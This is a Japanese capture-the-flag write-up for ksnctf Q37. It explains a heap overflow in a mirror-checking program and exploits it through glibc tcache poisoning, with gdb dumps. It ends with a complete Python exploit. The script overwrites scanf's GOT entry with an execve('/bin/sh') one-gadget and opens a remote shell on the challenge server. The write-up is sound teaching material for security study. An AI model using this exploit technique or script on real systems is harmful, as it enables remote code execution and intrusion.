ksnctf Q37 Competitive Program writeup
ksnctf Q37 Competitive Program writeup
本記事はksnctf Q37 Competitive ProgramのWirteUp(解説)記事になります。
(Link)
CTFとは
Capture The Flagの略称。
意図的に用意された脆弱性を駆使ししてなんとかflag情報を入手する、セキュリティ版謎解きゲームです。
ローカルテスト環境
ubuntu 20.0.4
(glibc 2.31)
概要
本CTFは競技プログラミングをモチーフにした問題になっています。
問題の内容は「チェック回数」、「文字数」、「文1」、「文2」を与えて、
文1と文2がかがみ合わせになっているかどうかをチェックするプログラムを作れ、というものです。
問題文最下部のリンクから、競技プログラミングの回答として用意されたプログラムなどをダウンロードできます。
mirror.cが回答のソースコードでmirrorがそれをコンパイルしたものとなっていそうです。
ソースコードの確認
というわけで、mirror.cを見てみます。
(必要なところだけ記載します。全文は問題から見てください。)
処理の流れとしては、「文字数」分の領域を確保し「文1」を足していく。
終わったら、逆向きに「文2」を引いていく。計算結果が全部0ならかがみ合わせであると判定する
といったものです。
そしてこの処理の中には明らかにヤバイ脆弱性があります。
こちらですね
// A
p = 0;
for (;;) {
c = getchar();
if (c==' ')
break;
buf[p++] += c;
}
// B
for (;;) {
c = getchar();
if (c=='\n')
break;
buf[--p] -= c;
}
mallocで「文字数」分の領域しか確保していないのに、配列に変換して書き込む際にサイズをチェックせずそれぞれ対応する終端文字を見つけるまで書き込み続けるので、「文字数」より長い「文1」「文2」をinputした場合、mallocで確保した領域外まで値を書き込んでしまいます。
この脆弱性をどう使うか
このCTFの最終目標はサーバーに保管されているというflag.txtの中身を確認することです。
サイズチェックの脆弱性によりmallocで割り振られた範囲を超えてほとんど好きなだけ書き込めるのだから
使用しているライブラリが提供されていることも踏まえて、GOT overwriteを用いてライブラリ中のexecve("/bin/sh")に飛ばしたいところです。
この目標を達成するには問題があります。
それはmallocで割り当てられるアドレスがわからないことです。
これは値をいじくりたいGOTとの位置関係がわからないことを意味していて、目当てのGOTにたどり着くまでどれだけのOffsetを用意する必要があるのかというのがわからないのです。
というわけで、まずはmallocによって受け取るアドレスを知る必要があるのですが、今回のコードにはアドレスを出力するために使えそうな脆弱性は見つかりません...
指定したアドレスを割り当てさせる
mallocでどこが割り当てられたのかを知ることはできなさそうです。
そこで逆に、自分で指定したアドレスを割り当てさせることを目指します。
ここではtcache poisoningを利用します。
tcacheとは
tcache poisoningについて説明する前にtcacheについて説明しておきます。
tcacheはglibcが採用しているメモリ管理の仕組みの一部です。
glibcではメモリの空き領域を効率的に管理し、素早く割り当てるため空きメモリをつなげたbinsというリストを作っています。
binsは用途に合わせて、tcache bins, fast bins, small bins, large binsといった種類があります。
tcache binsはcashの名の通り、空きメモリに関する情報を最初に格納されるbinsで、
free()されたときはとりあえずtcacheに入れようとするし、
mallocするときも、まずtcacheから割り当てを試みます。
今回は適宜malloc->freeを繰り替えしており、tcacheを超えることはないので他のbinsにつていは触れません。
気になる人は以下がおすすめです。
tcacheの構造は以下のようになっています。

tcacheは管理したいメモリ領域のサイズごとにcountとaddressを持っています。
count[size]は現在tcacheに所属している該当サイズのメモリ空間の数
address[size]は該当サイズの空きメモリへのアドレスが格納されています。
また、address先の空きメモリにも以下の情報が書き込まれています。
[address - 8] : この空き領域のサイズ
[address] : 同じサイズで異なる空き領域のアドレス
[address + 8] : tcacheの構造体へのアドレス
この図では確保されている領域の先頭と、addressが一致していません。
というのもsizeはfreeの際などに参照されるメモリを管理するための情報であり、ユーザーに操作させるつもりのないデータなのです。
ちなみにこれでは本来の割り当てよりも使える範囲が少ないじゃないかと思われるかもしれませんが
(20byteほしかったのに12 byteしか使えない、みたいな)
実際には要求値+8byte(+0x10 align)の領域を確保しているので、ちゃんと要求は見たしています。
malloc
mallocで割り当てる際は以下のようにふるまいます。

- tcacheの該当サイズのcountを1減らす
- tcacheの該当addressを元addressのnextに更新する
- tcacheから外されたアドレスを返す
free
freeの際は以下のようにふるまいます。

- -8のsizeを見てサイズを確認する
- tcacheの該当サイズのcountを1増やす
- nextにtcacheの現在の該当サイズaddressを書き込む
- keyも書き込む
- tcacheの現在のaddressを更新する
実際にやってみた
実際の様子を確認してみます。
debuggerでメモリの状態を確認しながらmirrorに以下のinput.txtを入力してみます。
cat input.txt
3
40 a a
56 a a
40 a a
gdb ./mirror
gdb-peda$ disas main
...
0x0000000000401257 <+97>: mov rdi,rax
0x000000000040125a <+100>: call 0x4010f0 <malloc@plt>
0x000000000040125f <+105>: mov QWORD PTR [rbp-0x10],rax
...
0x0000000000401335 <+319>: mov rdi,rax
0x0000000000401338 <+322>: call 0x4010a0 <free@plt>
0x000000000040133d <+327>: cmp DWORD PTR [rbp-0x14],0x0
...
gdb-peda$ b *main+105
Breakpoint 1 at 0x40125f
gdb-peda$ b *main+327
Breakpoint 2 at 0x40133d
gdb-peda$ r < input.txt
Starting program: /home/ubu2004/CTF/37/mirror < input.txt
main関数を逆アセンブリして、malloc, freeの場所を特定し、breakpointを設定する
一回目のbreak (40 a aに対応するmalloc)時
0x4062b0が割り当てられています(返り値はraxに格納)
RAX: 0x4062b0 --> 0x0
freeの後様子
gdb-peda$ x/8gx 0x4062b0-16
0x4062a0: 0x0000000000000000 0x0000000000000031
0x4062b0: 0x0000000000000000 0x0000000000405010
0x4062c0: 0x0000000000000000 0x0000000000000000
0x4062d0: 0x0000000000000000 0x000000000001fd31
割り当てられたアドレス-8に0x31が入っていることが確認できます。
割り当てられるはずのサイズ40+8=0x30と微妙に異なっていますが、問題ありません。
mallocは必ず0x10 alignを取るため実はsizeの下位3bitが実質的に余っている点を利用して
色々な補足情報をここに格納しているためです。
また、tcacheを指すkeyがセットされているのでここも確認してみます。
gdb-peda$ x/32gx 0x405010
0x405010: 0x0000000000010000 0x0000000000000000
0x405020: 0x0000000000000000 0x0000000000000000
0x405030: 0x0000000000000000 0x0000000000000000
0x405040: 0x0000000000000000 0x0000000000000000
0x405050: 0x0000000000000000 0x0000000000000000
0x405060: 0x0000000000000000 0x0000000000000000
0x405070: 0x0000000000000000 0x0000000000000000
0x405080: 0x0000000000000000 0x0000000000000000
0x405090: 0x0000000000000000 0x00000000004062b0
0x4050a0: 0x0000000000000000 0x0000000000000000
0x4050b0: 0x0000000000000000 0x0000000000000000
0x4050c0: 0x0000000000000000 0x0000000000000000
0x4050d0: 0x0000000000000000 0x0000000000000000
0x4050e0: 0x0000000000000000 0x0000000000000000
0x4050f0: 0x0000000000000000 0x0000000000000000
0x405100: 0x0000000000000000 0x0000000000000000
[0x405012] = count[0x30] = 1
[0x405098] = address[0x30] = 0x4062b0
となっており、ちゃんとtcacheが想定通りセットされていることを確認できました。
2回目のbreak (56 a aに対応するmalloc)時
0x4066f0が割り当てられています
RAX: 0x4066f0 --> 0x0
二回目のfree
gdb-peda$ x/10gx 0x4066f0-16
0x4066e0: 0x0000000000000000 0x0000000000000041
0x4066f0: 0x0000000000000000 0x0000000000405010
0x406700: 0x0000000000000000 0x0000000000000000
0x406710: 0x0000000000000000 0x0000000000000000
0x406720: 0x0000000000000000 0x000000000001f8e1
gdb-peda$ x/32gx 0x405010
0x405010: 0x0000000100010000 0x0000000000000000
0x405020: 0x0000000000000000 0x0000000000000000
0x405030: 0x0000000000000000 0x0000000000000000
0x405040: 0x0000000000000000 0x0000000000000000
0x405050: 0x0000000000000000 0x0000000000000000
0x405060: 0x0000000000000000 0x0000000000000000
0x405070: 0x0000000000000000 0x0000000000000000
0x405080: 0x0000000000000000 0x0000000000000000
0x405090: 0x0000000000000000 0x00000000004062b0
0x4050a0: 0x00000000004066f0 0x0000000000000000
0x4050b0: 0x0000000000000000 0x0000000000000000
0x4050c0: 0x0000000000000000 0x0000000000000000
0x4050d0: 0x0000000000000000 0x0000000000000000
0x4050e0: 0x0000000000000000 0x0000000000000000
0x4050f0: 0x0000000000000000 0x0000000000000000
0x405100: 0x0000000000000000 0x0000000000000000
tcacheの更新が確認できます
三回目のmalloc、一回目と同じサイズをmallocします。
RAX: 0x4062b0 --> 0x0
gdb-peda$ x/32gx 0x405010
0x405010: 0x0000000100000000 0x0000000000000000
0x405020: 0x0000000000000000 0x0000000000000000
0x405030: 0x0000000000000000 0x0000000000000000
0x405040: 0x0000000000000000 0x0000000000000000
0x405050: 0x0000000000000000 0x0000000000000000
0x405060: 0x0000000000000000 0x0000000000000000
0x405070: 0x0000000000000000 0x0000000000000000
0x405080: 0x0000000000000000 0x0000000000000000
0x405090: 0x0000000000000000 0x0000000000000000
0x4050a0: 0x00000000004066f0 0x0000000000000000
0x4050b0: 0x0000000000000000 0x0000000000000000
0x4050c0: 0x0000000000000000 0x0000000000000000
0x4050d0: 0x0000000000000000 0x0000000000000000
0x4050e0: 0x0000000000000000 0x0000000000000000
0x4050f0: 0x0000000000000000 0x0000000000000000
0x405100: 0x0000000000000000 0x0000000000000000
一回目と同じアドレスが割り当てられ、tcacheから消えていることが確認できました。
tcache poisoning
このtcacheのデータを不正に操作するのがtcache poisoningです。
今回はこれによりmallocで任意のアドレス(GOT周りのアドレス)を取得するのが目標です。
Sizeをいじる
今回の件でまず思いつく悪さはSizeの変更です。
Sizeのアドレスから割り当てられたアドレスから相対的に求められますし、
今回の脆弱性では、相対的な位置に対し好きに加減できます。
というわけで、以下のコードで動作を確認してみます。
Ascii文字だけだと不便なので以下のように出力したバイナリを入力とします。
msg0 = b"2\n"
# 比較用のデータを壊さないmessage
msg1 = b"40 a a\n"
# 割当アドレス-8に対し-0x10するmessage
msg2 = b"56 a a" + b"\x00"*7 + b"\x10\n"
msg = msg0 + msg1+ msg2
output_bin = "output.bin"
with open(output_bin, "wb") as f:
f.write(msg)
一回目のfreeの後
python3 test.py
gdb ./mirror
gdb-peda$ b *main+105
Breakpoint 1 at 0x40125f
gdb-peda$ b *main+327
Breakpoint 2 at 0x40133d
r < output.bin
# freeまで進める
gdb-peda$ x/32gx 0x405010
0x405010: 0x0000000000010000 0x0000000000000000
0x405020: 0x0000000000000000 0x0000000000000000
0x405030: 0x0000000000000000 0x0000000000000000
0x405040: 0x0000000000000000 0x0000000000000000
0x405050: 0x0000000000000000 0x0000000000000000
0x405060: 0x0000000000000000 0x0000000000000000
0x405070: 0x0000000000000000 0x0000000000000000
0x405080: 0x0000000000000000 0x0000000000000000
0x405090: 0x0000000000000000 0x00000000004062b0
正常にtcacheの0x30の場所にcountとaddressがセットされていることが確認できました。
二回目のmalloc
# 二回目のmallocまで進める
RAX: 0x4066f0 --> 0x0
gdb-peda$ x/10gx 0x4066f0-16
0x4066e0: 0x0000000000000000 0x0000000000000041
0x4066f0: 0x0000000000000000 0x0000000000000000
0x406700: 0x0000000000000000 0x0000000000000000
0x406710: 0x0000000000000000 0x0000000000000000
0x406720: 0x0000000000000000 0x000000000001f8e1
0x40用として0x4066f0が割り当てられていることがわかります。
freeの前に書き込みの結果を見てみると、ちゃんとsizeが変更されていることが確認できます。
gdb-peda$ b *main+322
Breakpoint 3 at 0x401338
# free直前まで進める
gdb-peda$ x/10gx 0x4066f0-16
0x4066e0: 0x0000000000000000 0x0000000000000031
0x4066f0: 0x0000000000000000 0x0000000000000000
0x406700: 0x0000000000000000 0x0000000000000000
0x406710: 0x0000000000000000 0x0000000000000000
0x406720: 0x0000000000000000 0x000000000001f8e1
sizeの値が0x31になっています!
そして、これをfreeするとtcacheは以下のようになります
# free後まで進める
gdb-peda$ x/32gx 0x405010
0x405010: 0x0000000000020000 0x0000000000000000
0x405020: 0x0000000000000000 0x0000000000000000
0x405030: 0x0000000000000000 0x0000000000000000
0x405040: 0x0000000000000000 0x0000000000000000
0x405050: 0x0000000000000000 0x0000000000000000
0x405060: 0x0000000000000000 0x0000000000000000
0x405070: 0x0000000000000000 0x0000000000000000
0x405080: 0x0000000000000000 0x0000000000000000
0x405090: 0x0000000000000000 0x00000000004066f0
本来は0x40のtcacheが作られているはずの所が、0x30のtcacheが更新されています。
これは二つの重要な意味を持ちます。
1. nextアドレスを持ってこれる
本来ならmirrorはmallocとfreeを繰り返すのでmallocされたアドレスに対し何を書き込んでも、そのアドレスを取り出すことはできませんでした。
(最終的にfreeされたアドレスがtcacheに格納され、次のmallocではそこから値が取り出される
そのため、malloc先に何を書いてもmallocで割り当てられたアドレス以外を取得できなかった。)
しかし、今回のようにmalloc->size変更->free
とすることで元領域のnextアドレスをtcacheに置いたまま、次のmallocを行うことができます。
2. countをごまかせる。
nextアドレスを変更するだけでは、該当アドレスを取り出すことはできません。
tcacheは割り当て時にcountを確認しており、countが0だとaddressに何が書いてあっても、新規割り当て領域を確保してそれを返します。
しかし、今回のように「領域を割りあて->Sizeを変更してfree」とすることで、任意Sizeのcountを操作することができます。
以上の二点を組み合わせることによって、nextアドレスを取り出すことができるようになります。
mallocアドレスの位置関係
前章で任意のアドレスを取得するための道筋が見えてきましたが、
結局nextアドレスにどうやってアクセスするのかという問題は残っています。
とはいえ、最初の全く分からない状態からmalloc先の相対位置に持ち込むことができました。
nextアドレスをtcacheに格納するのはmalloc時なので、
malloc前(該当アドレスがfree中)にnextアドレスをいじる必要がある
つまり、複数のmalloc先の相対位置関係がわかればよいのです。
一旦手元で試してみましょう。
input.txt
cat input_2.txt
4
40 a a
56 a a
72 a a
88 a a
gdb ./mirror
r < input.txt
全部freeした後のtcache
gdb-peda$ x/32gx 0x405010
0x405010: 0x0001000100010000 0x0000000000000001
0x405020: 0x0000000000000000 0x0000000000000000
0x405030: 0x0000000000000000 0x0000000000000000
0x405040: 0x0000000000000000 0x0000000000000000
0x405050: 0x0000000000000000 0x0000000000000000
0x405060: 0x0000000000000000 0x0000000000000000
0x405070: 0x0000000000000000 0x0000000000000000
0x405080: 0x0000000000000000 0x0000000000000000
0x405090: 0x0000000000000000 0x00000000004062b0
0x4050a0: 0x00000000004066f0 0x0000000000406730
0x4050b0: 0x0000000000406780 0x0000000000000000
0x4050c0: 0x0000000000000000 0x0000000000000000
0x4050d0: 0x0000000000000000 0x0000000000000000
0x4050e0: 0x0000000000000000 0x0000000000000000
0x4050f0: 0x0000000000000000 0x0000000000000000
0x405100: 0x0000000000000000 0x0000000000000000
表にまとめると以下になります。
| Size | address | 補足 |
|---|---|---|
| 0x30 | 4062b0 | |
| 0x40 | 4066f0 | |
| 0x50 | 406730 | malloc0x40 + 0x40 |
| 0x60 | 406780 | malloc0x50 + 0x50 |
なんということでしょう
0x406730 = 0x4066f0 + 0x40
0x406780 = 0x406730 + 0x50
malloc0x50はmalloc0x40+0x40となっていますし、malloc0x60はmalloc0x50+0x50になっています。
もちろんこれは偶然ではありません。これはmallocがどのようにメモリを割り当てるかに依っています。
mallocがメモリを割り当てる際、まずはtcacheから、なければfast binから、それもなければsmall/large binから...
と順にいろんなbinを見ていくのですが、それでもない場合、新たにheap領域を拡大して割り当てます。
今回0x40, 0x50, 0x60の領域は新たにheap領域として割り当てられたため、連続的になっています。
(0x30だけ離れているのは既存割り当て領域で見つかったから。)
これにより、mallocによって渡されたアドレスと現在のfreeされてtcacheに収まっている領域の相対位置がわかり、
freeされた領域のnextアドレスまでの相対位置がわかります。
どこに何を書くのか
これまでの内容からmallocに任意のアドレスを変えさせるための前準備が完了しました。
次は具体的にどこに何を書くかを決めます。
今回は以下のonegadgetをscanfのGOTに書き込みます。
GOTのリスト
readelf ./mirror
再配置セクション '.rela.plt' at offset 0x5c0 contains 7 entries:
オフセット 情報 型 シンボル値 シンボル名 + 加数
000000404018 000100000007 R_X86_64_JUMP_SLO 0000000000000000 free@GLIBC_2.2.5 + 0
000000404020 000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000404028 000300000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000404030 000400000007 R_X86_64_JUMP_SLO 0000000000000000 memset@GLIBC_2.2.5 + 0
000000404038 000600000007 R_X86_64_JUMP_SLO 0000000000000000 getchar@GLIBC_2.2.5 + 0
000000404040 000800000007 R_X86_64_JUMP_SLO 0000000000000000 malloc@GLIBC_2.2.5 + 0
000000404048 000900000007 R_X86_64_JUMP_SLO 0000000000000000 __isoc99_scanf@GLIBC_2.7 + 0
one_gadget -l 1 libc-2.31.so
0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
使用しているライブラリ内でのscanfのオフセットがこちら
objdump libc-2.31.so -D | grep __isoc99_scanf
0000000000066230 <__isoc99_scanf@@GLIBC_2.7>:
66259: 74 37 je 66292 <__isoc99_scanf@@GLIBC_2.7+0x62>
662f0: 75 08 jne 662fa <__isoc99_scanf@@GLIBC_2.7+0xca>
以上からscanfのGOT(0x404048)からscanfのオフセットとonegadgetのオフセットの差分を引く(0x66230-0xe6c81)
回答編
以上の点から
import socket
import struct
import time
def recv_all(sock, timeout=2.0):
sock.settimeout(timeout)
parts = []
try:
while True:
chunk = sock.recv(4096)
if not chunk:
# peer closed
break
parts.append(chunk)
except socket.timeout:
# タイムアウトで受信終了
pass
return b"".join(parts).decode(errors="replace")
def calcsubst_value(base, target):
if base > 0xFF:
print("base is over 0xFF")
if target > 0xFF:
print("target is over 0xFF")
ret = (base + 0x100 - target) & 0xFF
if ret == 0x0a:
print("Warning:LF")
return ret
got_scanf_addr = 0x404048
# 0x30, 0x40, 0x50, 0x60 malloc
msg0 = b"11\n40 a a\n56 a a\n72 a a\n88 a a\n"
# 0x60 mallocして、0x30としてfreeする
msg1 = b"88 " + b"\x00" + b" " + b"\x00"*8 + calcsubst_value(0x60, 0x30).to_bytes(1, "little") + b"\n"
# 0x50 mallocして、0x70としてfreeする
msg2 = b"72 " + b"\x00" + b" " + b"\x00"*8 + calcsubst_value(0x50, 0x70).to_bytes(1, "little") + b"\n"
# 0x70としてmallocすることで0x60malloc->nextを0にする
msg3 = b"104 a a\n"
# 0x40mallocから0x60malloc->nextを編集する
#write_to_addr = got_scanf_addr - 0x8 # malloc
write_to_addr = got_scanf_addr + 0x18 # __isoc99_scanf + 0x18 (size + align)
msg4 = b"56 " + b"\x00"*(0x40+0x50) + struct.pack("<Q", write_to_addr) + b" " + b"\x00\n"
# 0x30 mallocして、0x20としてfreeする。ただしsizeのbaseは0になっている
msg5 = b"40 " + b"\x00" + b" " + b"\x00"*8 + calcsubst_value(0x00, 0x20).to_bytes(1, "little") + b"\n"
# 0x30 mallocして、書きたいアドレスを書き込む
# write_to_addrのもとの値
# libc_base + libc_scanf_offset
# 書き込みたい値
# libc_base + libc_rce_offset
libc_scanf_offset = 0x66230
libc_rce_offset = 0xe6c81
neg_addr = b""
for i in range(0,8):
temp = (((libc_scanf_offset >> i*8) & 0xFF) + 0x100 - ((libc_rce_offset >> i*8) &0xFF)) & 0xFF
neg_addr = temp.to_bytes(1, "little") + neg_addr
size_target = calcsubst_value(0x00, 0x51)
msg6 = b"40 " + b"\x00" + b" " + b"\x00" + struct.pack(">Q", size_target) + b"\x00"*8 + neg_addr + b"\n"
# scanfを呼ぶためもう一周させる
msg7 = b"1 a a\n"
msg = msg0 + msg1 + msg2 + msg3 + msg4 +msg5 + msg6 + msg7
# ローカルテスト用に出力
output_bin = "output.bin"
with open(output_bin, "wb") as f:
f.write(msg)
s = socket.create_connection(("ctfq.u1tramarine.blue", 10037))
s.sendall(msg)
time.sleep(0.1)
s.sendall(b"ls\n")
s.shutdown(socket.SHUT_WR)
output = recv_all(s,1)
print("%s" % output) #Output
python3 ans.py
Your input:
Output:
check_constraints
flag.txt
judge_solution
mirror
server.sh
Your input violate constraints or is invalid format
以上でshellの取得に成功しました。
Discussion